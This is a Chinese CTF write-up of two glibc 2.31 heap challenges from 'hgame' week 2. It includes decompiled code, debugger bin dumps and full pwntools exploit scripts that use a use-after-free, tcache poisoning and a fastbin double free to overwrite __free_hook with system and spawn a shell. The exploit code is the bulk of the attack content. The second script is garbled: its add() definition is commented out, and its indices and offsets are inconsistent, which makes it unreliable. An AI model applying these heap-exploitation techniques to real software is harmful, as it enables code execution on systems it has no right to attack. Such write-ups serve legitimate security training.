

write up—week2[NOrton]

- PWN
- 这是两道堆题，由于之前没有接触过外加事情有点多week2就只写了这两道题

- editable_note

- 题目相关

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    int v4; // [rsp+14h] [rbp-Ch] BYREF
    unsigned __int64 v5; // [rsp+18h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    init(argc, argv, envp);
    while ( 1 )
    {
        menu();
        __isoc99_scanf("%d", &v4);
        switch ( v4 )
        {
            case 1:
                add_note();
                break;
            case 2:
                delete_note();
                break;
            case 3:
                edit_note();
                break;
            case 4:
                show_note();
                break;
            case 5:
                exit(0);
            default:
                puts("Wrong choice!");
                break;
        }
    }
}
```

```
qi@qi-virtual-machine:~/Desktop/hgame/week2/editable_note$ checksec vuln
[+] '/home/qi/Desktop/hgame/week2/editable_note/vuln'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

- 可以看到有用的就四个功能，查看其中delete功能发现没有将分配的指针置零——于是可以使用UAF

```
unsigned __int64 delete_note()
{
    unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    printf("Index: ");
    __isoc99_scanf("%u", &v1);
    if ( v1 <= 0xF )
    {
        if ( *((_QWORD *)&notes + v1) )
            free(*((void **)&notes + v1));
        else
            puts("Page not found.");
    }
    else
    {
        puts("There are only 16 pages in this notebook.");
    }
    return __readfsqword(0x28u) ^ v2;
}
```

- 由于这是libc-2.31的版本拥有tcache，但是同种大小的chunk tcache最多存七个之后的chunk根据大小进入对应的bin。于是通过释放让第八个bin进入unsorted_bin（当此bin中只有一个chunk时，此chunk的fd和bk都指向main_arena的某一固定偏移地址），需要注意的是此时可能会与top合并，于是多申请一个堆。打印unsorted_bin里的chunk如图得。

```
pwndbg> bin
tcachebins
0xa0 [ 7]: 0x5614dedb1660 → 0x5614dedb15c0 → 0x5614dedb1520 → 0x5614dedb1480
→ 0x5614dedb13e0 → 0x5614dedb1340 → 0x5614dedb12a0 ← 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5614dedb16f0 → 0x7ffa41757be0 (main_arena+96) ← 0x5614dedb16f0
smallbins
empty
largebins
empty
pwndbg>
```

- 再通过ida找到main_arena在libc-2.31里面的未偏移的地址（具体操作网上更详细这里就不说了）。与刚刚得到的main_arena相减得到libc偏移地址

```
main_arena = show(7)-96
libc_base = main_arena-0x1ECB80
free_hook = libc_base+libc.sym["__free_hook"]
sys=libc_base+libc.sym["system"]
```

- 然后将某个chunk的fd改为free_hook将free_hook原本指向的函数覆盖为system函数。
- 先创造两个0x30大小的chunk（有对齐所以和exp上申请的不一样）

```
pwndbg> bin
tcachebins
0x30 [ 2]: 0x56123c476730 → 0x56123c476700 ← 0x0
0xa0 [ 7]: 0x56123c476660 → 0x56123c4765c0 → 0x56123c476520 → 0x56123c476480 → 0x56123c4763e0 → 0x56123c476340 → 0x56123c4762a0 ← 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x56123c476750 → 0x7f2bc8fa0be0 (main_arena+96) ← 0x56123c476750
smallbins
empty
largebins
empty
pwndbg>
```

- 然后将图中的画圈的chunk的fd覆盖为free_hook于是就得到了free_hook处的空间

```
pwndbg> bin
tcachebins
0x30 [ 2]: 0x56123c476730 → 0x7f2bc8fa2e48 (__free_hook) ← 0x0
0xa0 [ 7]: 0x56123c476660 → 0x56123c4765c0 → 0x56123c476520 → 0x56123c476480
→ 0x56123c4763e0 → 0x56123c476340 → 0x56123c4762a0 ← 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x56123c476750 → 0x7f2bc8fa0be0 (main_arena+96) ← 0x56123c476750
smallbins
empty
largebins
empty
pwndbg>
```

- 申请两次0x30大小的chunk由于会复用所以第二次申请的堆就是free_hook的地址。向free_hook中写入system函数完成对free函数的覆盖。exp如下

```

5
6
7 add(9,0x20)
8 add(10,0x20)
9 dele(9)
10 dele(10)
11
12
13 edit(10,p64(free_hook))
14
15
16 add(11,0x20)
17 add(12,0x20)
18 edit(12,p64(sys))
19
20

```

- 最后把释放含有'/bin/sh\x00'的堆块就会向free传参，而此时的free其实是system函数，于是成功getshell
- 完整exp如下

```

1 from pwn import*
2 p = process('./vuln')
3 #p = remote('week-2.hgame.lusec.cn',31002)
4 content.log_level = 'debug'
5 libc = ELF('./libc-2.31.so')
6 elf = ELF('./vuln')
7
8
9 def add(page,size):
10     p.recvuntil('s')
11     p.sendline('1')
12     p.recvuntil(':')
13     p.sendline(str(page))
14     p.recvuntil(':')
15     p.sendline(str(size))
16
17 def dele(page):
18     p.recvuntil('s')
19     p.sendline('2')
20     p.recvuntil(':')
21     p.sendline(str(page))
22
23 def edit(page,content):
24     p.recvuntil('s')
25     p.sendline('3')
26     p.recvuntil(':')
27     p.sendline(str(page))
28     p.recvuntil(':')
29     p.sendline(content)
30
31 def show(page):
32     p.recvuntil('s')
33     p.sendline('4')
34     p.recvuntil(':')
35     p.sendline(str(page))
36     Content = u64(p.recvline()[7:-1].ljust(8,b'\x00'))
37     print('-----',hex(Content))
38     return Content
39
40 for i in range(9):
41     add(i,0x90)
42 for i in range(8):
43     dele(i)
44
45 main_arena = show(7)-96
46 libc_base = main_arena-0x1ECB80
47 free_hook = libc_base+libc.sym['__free_hook']
48 sys=libc_base+libc.sym['system']
49
50
51 add(9,0x20)
52 add(10,0x20)
53 dele(9)
54 dele(10)
55
56 edit(10,p64(free_hook))
57
58 add(11,0x20)
59 add(12,0x20)
60 edit(12,p64(sys))
61
62 edit(8,'/bin/sh\x00')
63 dele(8)
64
65 p.interactive()

```

- new_fast_note
 - 这道题和上面那道题利用方式差不多，多了一个double_free。需要注意的是此操作只能在fast_bin中才能执行，于是需要将chunk溢出到fastbin
 - 这个题的delete仍然没有将指针置零，但是多了一个限制。重新申请一下不同大小的堆然后释放即可

```

while ( 1 )
{
    menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 4 )
        exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
        puts("Wrong choice!");
    }
    else
    {
        switch ( v3 )
        {
            case 3:
                show_note();
                break;
            case 1:
                add_note();
                break;
            case 2:
                delete_note();
                break;
            default:
                goto LABEL_12;
        }
    }
}

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 <= 0xF )
{
    if ( *((_QWORD *)&notes + v1) )
        free(*(void **)&notes + v1);
    else
        puts("Page not found.");
}
else
{
    puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;

```

● 完整exp如下

```

1 from pwn import*
2 p = process('./vuln')
3 #p = remote('week-2.hgane.lwsec.cn',30199)
4 libc = ELF('./libc-2.31.so')
5 elf = ELF('./vuln')
6 #context.log_level = 'debug'
7
8 #def add(page,Size,Content):
9     p.recvuntil('>')
10    p.sendline('1')
11    p.recvuntil(':')
12    p.sendline(str(page))
13    p.recvuntil(':')
14    p.sendline(str(Size))
15    p.recvuntil(':')
16    p.sendline(Content)
17
18
19 def delete(page):
20     p.recvuntil('>')
21     p.sendline('2')
22     p.recvuntil(':')
23     p.sendline(str(page))
24
25
26 def show(page):
27     p.recvuntil('>')
28     p.sendline('3')
29     p.recvuntil(':')
30     p.sendline(str(page))
31     main_arena_0 = u64(p.recvline()[7:-1].ljust(8,b'\x00'))
32     print('.....',hex(main_arena_0))
33     return main_arena_0
34
35
36
37 for i in range(9):
38     add(1,0x90,'/bin/sh\x00')
39     delete(i)
40
41 main_arena = show(7)-96
42 libc_base = main_arena-0x1CC800
43 sys = libc_base + libc.sym['system']
44 free_hook = libc_base+libc.sym['__free_hook']
45 for i in range(8):
46     add(1,0x90,'\x00')
47     delete(i)
48
49 for i in range(9,16):
50     add(1,0x20,'\x00')
51 add(0,0x20,'\x00')
52 add(1,0x20,'\x00')
53
54 for i in range(9,16):
55     delete(i)
56 delete(0)
57 delete(1)
58 delete(8)
59 for i in range(9,16):
60     add(1,0x20,'\x00')
61 add(16,0x90,'\x00')
62 add(17,0x90,'\x00')
63
64 add(0,0x20,p64(free_hook))
65 add(1,0x20,'\x00')
66 add(18,0x20,'\x00')
67 add(19,0x20,p64(sys))
68 delete(8)
69
70 p.interactive()

```

